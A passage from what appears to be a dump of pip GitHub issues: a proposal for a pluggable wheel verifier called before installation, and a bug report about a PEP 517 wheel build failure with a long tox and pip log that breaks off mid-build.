which is close to gibberish, but I guess I was conditioned to tune out that line and just focus on the one above it that says building the wheel failed -- but ideally if the error message is changing, would be nice to show something that could help the person seeing it to know what to do.

**How to Reproduce** / **Output**
(See above shell line)
user: Julian
labels: C: PEP 517 impact: Affected by PEP 517 processing
C: error messages: Improving error messages
issue_6248: state: open
title: Pluggable wheel verifier
body: **What's the problem this feature will solve?**
Verify the contents of any wheel before it is extracted or installed, according to arbitrary validation rules (such as containing a particular file or being signed with a particular certificate).

Currently it's fairly easy to modify a built wheel before publishing it to a (public or private) index, but it's much more complicated to download a wheel to inspect it before installing. This feature would allow the person doing the installation to determine what validation is necessary, define it as Python code, and have pip call into it between the download and install stages.

A secondary problem that it solves is having to choose one true verification method and bake it into pip.

**Describe the solution you'd like**
Assume a reliable baseline install exists (Python, pip, arbitrary packages). Hence, pip does not need to validate itself or these packages, but is able to validate any upgrades to itself or these packages.

In a `pip.ini`, an environment variable, or the command line, the `--verify-function` option is set to a value `module:function` (for example `mypackage.module:verify`) that identifies the entry point to a file verifier.

Once a wheel has been downloaded but before it is extracted, the verifier is imported and called, passing the . In simplified code, it would look like this:

```python
downloaded_file = urlretrieve(uri_to_wheel)
with ZipFile(downloaded_file) as f:
    if options.verifier:
        mod_name, _, func_name = options.verifier.rpartition(':')
        verifier = getattr(importlib.import_module(mod_name), func_name)
        verifier(f)
    f.extract_all(…)
```

The error handling code is omitted, but the implication that all errors within the `options.verifier` block are fatal is correct. If the option has been specified, failing to locate or use the verifier should abort the install, as should any errors raised by the verifier itself. If the file is deemed valid, it returns without raising.

This is entirely sufficient to handle the common internal corporate scenario where:
* there is a baseline OS install that is already trusted (including pip, a verifier and configuration)
* there is a certificate where the public key is on production machines and private key on build server
* packages only come from an internal package server

It could further extend to do more complicated tasks, such as static analysis of source code

It is not intended to handle packages from mixed sources, or establishing trust between parties where there currently is none. It probably has no place at all on public PyPI right now, though it could allow for easier experimentation.

**Alternative Solutions**
There are lots of other proposals that involve all sorts of solutions for implied or transitive trust. I am not interested in solving those problems

**Additional context**
Previously discussed at #6198, #4705, 1035, (under-)specified in [PEP 427](https://www.python.org/dev/peps/pep-0427/#signed-wheel-files), 

user: zooba
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_6246: state: open
title: pip 19 seems to break home-assistant-cli build
body: **Environment**

* pip version: 19.0.1
* Python version: 3.5-3.7
* OS: OSX

<!-- Feel free to add more information about your environment here -->

**Description**
<!-- A clear and concise description of what the bug is. -->
I've been building https://github.com/home-assistant/home-assistant-cli just fine for months but
recently I keep having this weird error that seem to be have been introduced in 19 in https://github.com/pypa/pip/pull/5743/files/817ef1a4cb7faed6539b2b2f57ba7dc8a0f93200

```
  removing build/bdist.macosx-10.14-x86_64/wheel
  Traceback (most recent call last):
    File "/Users/max/code/home-assistant-cli/.tox/typing/lib/python3.7/site-packages/pip/_vendor/pep517/_in_process.py", line 207, in <module>
      main()
    File "/Users/max/code/home-assistant-cli/.tox/typing/lib/python3.7/site-packages/pip/_vendor/pep517/_in_process.py", line 197, in main
      json_out['return_val'] = hook(**hook_input['kwargs'])
    File "/Users/max/code/home-assistant-cli/.tox/typing/lib/python3.7/site-packages/pip/_vendor/pep517/_in_process.py", line 141, in build_wheel
      metadata_directory)
    File "/private/tmp/pip-build-env-p6ew6nvj/overlay/lib/python3.7/site-packages/setuptools/build_meta.py", line 178, in build_wheel
      return _file_with_extension(wheel_directory, '.whl')
    File "/private/tmp/pip-build-env-p6ew6nvj/overlay/lib/python3.7/site-packages/setuptools/build_meta.py", line 94, in _file_with_extension
      file, = matching
  ValueError: too many values to unpack (expected 1)

  ----------------------------------------
  Failed building wheel for homeassistant-cli
  Running setup.py clean for homeassistant-cli
Failed to build homeassistant-cli
Could not build wheels for {} which use PEP 517 and cannot be installed directly
```

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
That what could build in 18.0 can still build on 19.0

note: I don't know much about PEP 517 but can say that I only have a pyproject.toml to 
configure black, and it is weird to me that the build error is just {} as if there actually 
are no build failures.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. git clone https://github.com/home-assistant/home-assistant-cli
2. Then run 'tox -e pylint'
3. The error occurs.

**Output**

```
tox -e typing                                                                                                                                               ✘ 2 deviceregistry ✭ ✚ ✱ ◼
GLOB sdist-make: /Users/max/code/home-assistant-cli/setup.py
typing create: /Users/max/code/home-assistant-cli/.tox/typing
typing installdeps: -r/Users/max/code/home-assistant-cli/requirements_test_all.txt
ERROR: invocation failed (exit code 1), logfile: /Users/max/code/home-assistant-cli/.tox/typing/log/typing-1.log
ERROR: actionid: typing
msg: getenv
cmdargs: '/usr/bin/env LANG=C.UTF-8 pip install -r/Users/max/code/home-assistant-cli/requirements_test_all.txt'

Processing /Users/max/code/home-assistant-cli
  Installing build dependencies: started
  Installing build dependencies: finished with status 'done'
  Getting requirements to build wheel: started
  Getting requirements to build wheel: finished with status 'done'
    Preparing wheel metadata: started
    Preparing wheel metadata: finished with status 'done'
Collecting requests==2.21.0 (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/7d/e3/20f3d364d6c8e5d2353c72a67778eb189176f08e873c9900e10c0287b84b/requests-2.21.0-py2.py3-none-any.whl
Collecting click==7.0 (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/fa/37/45185cb5abbc30d7257104c434fe0b07e5a195a6847506c074527aa599ec/Click-7.0-py2.py3-none-any.whl
Collecting dateparser==0.7.0 (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/ac/9e/1aa87c0c59f9731820bfd20a8b148d97b315530c2c92d1fb300328c8c42f/dateparser-0.7.0-py2.py3-none-any.whl
Collecting click-log==0.3.2 (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/38/52/a9dbb622f40ceeb09df141d855062cc9fbb38011f0ad8caee0cd840f399c/click_log-0.3.2-py2.py3-none-any.whl
Collecting jsonpath-rw==1.4.0 (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
Collecting tabulate==0.8.3 (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
Collecting netdisco==2.3.0 (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/14/5f/18fdf13b85fc3c31f6c28f900494a9308aadcdefd2a29959a6ec5c7d719b/netdisco-2.3.0-py3-none-any.whl
Collecting ruamel.yaml==0.15.85 (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/e6/2f/73de0f854c4fdae878403400e3c557ca1ffbef1f0b86ad4ee6842ff739a9/ruamel.yaml-0.15.85-cp37-cp37m-macosx_10_9_x86_64.whl
Collecting jinja2>=2.10 (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/7f/ff/ae64bacdfc95f27a016a7bed8e8686763ba4d277a78ca76f32659220a731/Jinja2-2.10-py2.py3-none-any.whl
Collecting aiohttp==3.5.4 (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/16/60/c6ac986c2caeab6d3bae1e0b3400ab49df3aff23a8e37c543be68780d014/aiohttp-3.5.4-cp37-cp37m-macosx_10_13_x86_64.whl
Collecting regex==2019.01.24 (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
Collecting requests-mock==1.5.2; extra == "test" (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/f3/5b/7fc2615e6ae2d229214fd4d7617dd28475d728124c5f3d0653663113ac85/requests_mock-1.5.2-py2.py3-none-any.whl
Collecting black==18.9b0; python_version > "3.6" and extra == "test" (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/2a/34/9938749f260a861cdd8427d63899e08f9a2a041159a26c2615b02828c973/black-18.9b0-py36-none-any.whl
Collecting pylint==2.2.2; extra == "test" (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/a5/06/ecef826f319055e6b231716730d7f9047dd7524ffda224b521d989f085b6/pylint-2.2.2-py3-none-any.whl
Collecting flake8==3.6.0; extra == "test" (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/34/a6/49e2849a0e5464e1b5d621f63bc8453066f0f367bb3b744a33fca0bc1ddd/flake8-3.6.0-py2.py3-none-any.whl
Collecting mock-open==1.3.1; extra == "test" (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
Collecting pydocstyle==2.1.1; extra == "test" (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/43/8a/f1141af0c8406788a5c38ad5001d4163d903b5384a6517239d2ac42734c8/pydocstyle-2.1.1-py3-none-any.whl
Requirement already satisfied: wheel==0.32.3; extra == "test" in ./.tox/typing/lib/python3.7/site-packages (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3)) (0.32.3)
Collecting pytest==4.1.1; extra == "test" (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/9e/bf/2974be45c498a0ebc2708bfada25d5d1874ab3315a4e76ce7d38e29724fa/pytest-4.1.1-py2.py3-none-any.whl
Collecting coveralls==1.2.0; extra == "test" (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/7e/26/7a820800615866b624cb5612f7f661405f713b2292cd94ace8b648705747/coveralls-1.2.0-py2.py3-none-any.whl
Collecting mypy==0.660; extra == "test" (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/fc/4b/b2376fffd1416b76da0708dd8c8ab46c80cd2364c42212059587ae92f1d8/mypy-0.660-py3-none-any.whl
Collecting flake8-docstrings==1.3.0; extra == "test" (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/4e/ab/927dada116644e776c2668175d35545786f8a5120a9bdbfaaba2aab71687/flake8_docstrings-1.3.0-py2.py3-none-any.whl
Collecting pytest-cov==2.6.1; extra == "test" (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/7d/b5/92f32674ab954f80499ac73347bfeb815545ea295439c12b0ef3ac8f0975/pytest_cov-2.6.1-py2.py3-none-any.whl
Collecting pytest-timeout==1.3.3; extra == "test" (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/58/92/f60ea2e27074d6f97c8aaf21e34d1f838eb623e4b8070680846c65318a10/pytest_timeout-1.3.3-py2.py3-none-any.whl
Collecting pytest-sugar==0.9.2; extra == "test" (from homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/da/3b/f1e3c8830860c1df8f0e0f6713932475141210cfa021e362ca2774d2bf02/pytest_sugar-0.9.2-py2.py3-none-any.whl
Collecting chardet<3.1.0,>=3.0.2 (from requests==2.21.0->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/bc/a9/01ffebfb562e4274b6487b4bb1ddec7ca55ec7510b22e4c51f14098443b8/chardet-3.0.4-py2.py3-none-any.whl
Collecting certifi>=2017.4.17 (from requests==2.21.0->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/9f/e0/accfc1b56b57e9750eba272e24c4dddeac86852c2bebd1236674d7887e8a/certifi-2018.11.29-py2.py3-none-any.whl
Collecting idna<2.9,>=2.5 (from requests==2.21.0->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/14/2c/cd551d81dbe15200be1cf41cd03869a46fe7226e7450af7a6545bfc474c9/idna-2.8-py2.py3-none-any.whl
Collecting urllib3<1.25,>=1.21.1 (from requests==2.21.0->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/62/00/ee1d7de624db8ba7090d1226aebefab96a2c71cd5cfa7629d6ad3f61b79e/urllib3-1.24.1-py2.py3-none-any.whl
Collecting python-dateutil (from dateparser==0.7.0->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/41/17/c62faccbfbd163c7f57f3844689e3a78bae1f403648a6afb1d0866d87fbb/python_dateutil-2.8.0-py2.py3-none-any.whl
Collecting tzlocal (from dateparser==0.7.0->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
Collecting pytz (from dateparser==0.7.0->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/61/28/1d3920e4d1d50b19bc5d24398a7cd85cc7b9a75a490570d5a30c57622d34/pytz-2018.9-py2.py3-none-any.whl
Collecting ply (from jsonpath-rw==1.4.0->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/a3/58/35da89ee790598a0700ea49b2a66594140f44dec458c07e8e3d4979137fc/ply-3.11-py2.py3-none-any.whl
Collecting six (from jsonpath-rw==1.4.0->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/73/fb/00a976f728d0d1fecfe898238ce23f502a721c0ac0ecfedb80e0d88c64e9/six-1.12.0-py2.py3-none-any.whl
Collecting decorator (from jsonpath-rw==1.4.0->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/f1/cd/7c8240007e9716b14679bc217a1baefa4432aa30394f7e2ec40a52b1a708/decorator-4.3.2-py2.py3-none-any.whl
Collecting zeroconf>=0.21.0 (from netdisco==2.3.0->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/d2/4e/3e751bc1f33d0368bdba509a140cb9f2e54cd1cfb8ebcf4ebd8a5eef794b/zeroconf-0.21.3-py2.py3-none-any.whl
Collecting MarkupSafe>=0.23 (from jinja2>=2.10->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/96/52/eef455862764cb6d6c136aa52c7f9fc4e7c1c644790a7107b1244a2b8a53/MarkupSafe-1.1.0-cp37-cp37m-macosx_10_6_intel.whl
Collecting multidict<5.0,>=4.0 (from aiohttp==3.5.4->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/0e/64/39b167d63e292cc2336d09c4d3577089db82cd7886ed535b6100fc7c7966/multidict-4.5.2-cp37-cp37m-macosx_10_12_intel.macosx_10_12_x86_64.macosx_10_13_intel.macosx_10_13_x86_64.whl
Collecting attrs>=17.3.0 (from aiohttp==3.5.4->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/3a/e1/5f9023cc983f1a628a8c2fd051ad19e76ff7b142a0faf329336f9a62a514/attrs-18.2.0-py2.py3-none-any.whl
Collecting yarl<2.0,>=1.0 (from aiohttp==3.5.4->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
Collecting async-timeout<4.0,>=3.0 (from aiohttp==3.5.4->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/e1/1e/5a4441be21b0726c4464f3f23c8b19628372f606755a9d2e46c187e65ec4/async_timeout-3.0.1-py3-none-any.whl
Collecting toml>=0.9.4 (from black==18.9b0; python_version > "3.6" and extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/a2/12/ced7105d2de62fa7c8fb5fce92cc4ce66b57c95fb875e9318dba7f8c5db0/toml-0.10.0-py2.py3-none-any.whl
Collecting appdirs (from black==18.9b0; python_version > "3.6" and extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/56/eb/810e700ed1349edde4cbdc1b2a21e28cdf115f9faf263f6bbf8447c1abf3/appdirs-1.4.3-py2.py3-none-any.whl
Collecting isort>=4.2.5 (from pylint==2.2.2; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/1f/2c/22eee714d7199ae0464beda6ad5fedec8fee6a2f7ffd1e8f1840928fe318/isort-4.3.4-py3-none-any.whl
Collecting astroid>=2.0.0 (from pylint==2.2.2; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/fc/53/8809bc008bad0300897281a7b320b286dc0e84e836396c0cff6279841e8a/astroid-2.1.0-py3-none-any.whl
Collecting mccabe (from pylint==2.2.2; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/87/89/479dc97e18549e21354893e4ee4ef36db1d237534982482c3681ee6e7b57/mccabe-0.6.1-py2.py3-none-any.whl
Requirement already satisfied: setuptools>=30 in ./.tox/typing/lib/python3.7/site-packages (from flake8==3.6.0; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3)) (40.6.3)
Collecting pyflakes<2.1.0,>=2.0.0 (from flake8==3.6.0; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/44/98/af7a72c9a543b1487d92813c648cb9b9adfbc96faef5455d60f4439aa99b/pyflakes-2.0.0-py2.py3-none-any.whl
Collecting pycodestyle<2.5.0,>=2.4.0 (from flake8==3.6.0; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/e5/c6/ce130213489969aa58610042dff1d908c25c731c9575af6935c2dfad03aa/pycodestyle-2.4.0-py2.py3-none-any.whl
Collecting snowballstemmer (from pydocstyle==2.1.1; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/d4/6c/8a935e2c7b54a37714656d753e4187ee0631988184ed50c0cf6476858566/snowballstemmer-1.2.1-py2.py3-none-any.whl
Collecting py>=1.5.0 (from pytest==4.1.1; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/3e/c7/3da685ef117d42ac8d71af525208759742dd235f8094221fdaafcd3dba8f/py-1.7.0-py2.py3-none-any.whl
Collecting more-itertools>=4.0.0 (from pytest==4.1.1; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/a4/a6/42f17d065bda1fac255db13afc94c93dbfb64393eae37c749b4cb0752fc7/more_itertools-5.0.0-py3-none-any.whl
Collecting pluggy>=0.7 (from pytest==4.1.1; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/2d/60/f58d9e8197f911f9405bf7e02227b43a2acc2c2f1a8cbb1be5ecf6bfd0b8/pluggy-0.8.1-py2.py3-none-any.whl
Collecting atomicwrites>=1.0 (from pytest==4.1.1; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/52/90/6155aa926f43f2b2a22b01be7241be3bfd1ceaf7d0b3267213e8127d41f4/atomicwrites-1.3.0-py2.py3-none-any.whl
Collecting coverage>=3.6 (from coveralls==1.2.0; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/be/88/7e5e548329eda1f003b3ff34e57ba6b2b1f8b8983043e99a0ecf58ae0a06/coverage-4.5.2-cp37-cp37m-macosx_10_13_x86_64.whl
Collecting docopt>=0.6.1 (from coveralls==1.2.0; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
Collecting mypy-extensions<0.5.0,>=0.4.0 (from mypy==0.660; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/4d/72/8d54e2b296631b9b14961d583e56e90d9d7fba8a240d5ce7f1113cc5e887/mypy_extensions-0.4.1-py2.py3-none-any.whl
Collecting typed-ast<1.3.0,>=1.2.0 (from mypy==0.660; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/ac/50/d9609a2346acaa17d175c64457f98ee556d12914e583cd4f6bd92c18ec66/typed_ast-1.2.0-cp37-cp37m-macosx_10_9_x86_64.whl
Collecting flake8-polyfill (from flake8-docstrings==1.3.0; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/86/b5/a43fed6fd0193585d17d6faa7b85317d4461f694aaed546098c69f856579/flake8_polyfill-1.0.2-py2.py3-none-any.whl
Collecting termcolor>=1.1.0 (from pytest-sugar==0.9.2; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
Collecting packaging>=14.1 (from pytest-sugar==0.9.2; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/91/32/58bc30e646e55eab8b21abf89e353f59c0cc02c417e42929f4a9546e1b1d/packaging-19.0-py2.py3-none-any.whl
Collecting ifaddr (from zeroconf>=0.21.0->netdisco==2.3.0->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
Collecting wrapt (from astroid>=2.0.0->pylint==2.2.2; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
Collecting lazy-object-proxy (from astroid>=2.0.0->pylint==2.2.2; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
Collecting pyparsing>=2.0.2 (from packaging>=14.1->pytest-sugar==0.9.2; extra == "test"->homeassistant-cli==0.5.0.dev0->-r /Users/max/code/home-assistant-cli/requirements_test_all.txt (line 3))
  Using cached https://files.pythonhosted.org/packages/de/0a/001be530836743d8be6c2d85069f46fecf84ac6c18c7f5fb8125ee11d854/pyparsing-2.3.1-py2.py3-none-any.whl
Building wheels for collected packages: homeassistant-cli
  Building wheel for homeassistant-cli (PEP 517): started
  Building wheel for homeassistant-cli (PEP 517): finished with status 'error'
  Complete output from command /Users/max/code/home-assistant-cli/.tox/typing/bin/python3 /Users/max/code/home-assistant-cli/.tox/typing/lib/python3.7/site-packages/pip/_vendor/pep517/_in_process.py build_wheel /tmp/tmpqcg0t89z:
  running bdist_wheel
  running build
  running build_py
  copying homeassistant_cli/config.py -> build/lib/homeassistant_cli
  copying homeassistant_cli/remote.py -> build/lib/homeassistant_cli
  copying homeassistant_cli/hassconst.py -> build/lib/homeassistant_cli
  copying homeassistant_cli/yaml.py -> build/lib/homeassistant_cli
  copying homeassistant_cli/autocompletion.py -> build/lib/homeassistant_cli
  copying homeassistant_cli/cli.py -> build/lib/homeassistant_cli
  copying homeassistant_cli/helper.py -> build/lib/homeassistant_cli
  copying homeassistant_cli/exceptions.py -> build/lib/homeassistant_cli
  copying homeassistant_cli/const.py -> build/lib/homeassistant_cli
  running egg_info
  writing homeassistant_cli.egg-info/PKG-INFO
  writing dependency_links to homeassistant_cli.egg-info/dependency_links.txt
  writing entry points to homeassistant_cli.egg-info/entry_points.txt
  writing requirements to homeassistant_cli.egg-info/requires.txt
  writing top-level names to homeassistant_cli.egg-info/top_level.txt
  reading manifest file 'homeassistant_cli.egg-info/SOURCES.txt'
  reading manifest template 'MANIFEST.in'
  writing manifest file 'homeassistant_cli.egg-info/SOURCES.txt'
  copying homeassistant_cli/.DS_Store -> build/lib/homeassistant_cli
  copying homeassistant_cli/package_constraints.txt -> build/lib/homeassistant_cli
  copying homeassistant_cli/plugins/area.py -> build/lib/homeassistant_cli/plugins
  copying homeassistant_cli/plugins/config.py -> build/lib/homeassistant_cli/plugins
  copying homeassistant_cli/plugins/device.py -> build/lib/homeassistant_cli/plugins
  copying homeassistant_cli/plugins/entity.py -> build/lib/homeassistant_cli/plugins
  copying homeassistant_cli/plugins/event.py -> build/lib/homeassistant_cli/plugins
  copying homeassistant_cli/plugins/info.py -> build/lib/homeassistant_cli/plugins
  copying homeassistant_cli/plugins/service.py -> build/lib/homeassistant_cli/plugins
  copying homeassistant_cli/plugins/template.py -> build/lib/homeassistant_cli/plugins
  installing to build/bdist.macosx-10.14-x86_64/wheel
  running install
  running install_lib
  creating build/bdist.macosx-10.14-x86_64/wheel
  creating build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli
  copying build/lib/homeassistant_cli/.DS_Store -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli
  copying build/lib/homeassistant_cli/config.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli
  copying build/lib/homeassistant_cli/package_constraints.txt -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli
  copying build/lib/homeassistant_cli/remote.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli
  creating build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli/plugins
  copying build/lib/homeassistant_cli/plugins/service.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli/plugins
  copying build/lib/homeassistant_cli/plugins/system.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli/plugins
  copying build/lib/homeassistant_cli/plugins/event.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli/plugins
  copying build/lib/homeassistant_cli/plugins/config.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli/plugins
  copying build/lib/homeassistant_cli/plugins/completion.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli/plugins
  copying build/lib/homeassistant_cli/plugins/raw.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli/plugins
  copying build/lib/homeassistant_cli/plugins/device.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli/plugins
  copying build/lib/homeassistant_cli/plugins/discover.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli/plugins
  copying build/lib/homeassistant_cli/plugins/map.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli/plugins
  copying build/lib/homeassistant_cli/plugins/template.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli/plugins
  copying build/lib/homeassistant_cli/plugins/entity.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli/plugins
  copying build/lib/homeassistant_cli/plugins/info.py -> build/bdist.macosx-10.14-x86_64/wheel/homeassistant_cli/plugins
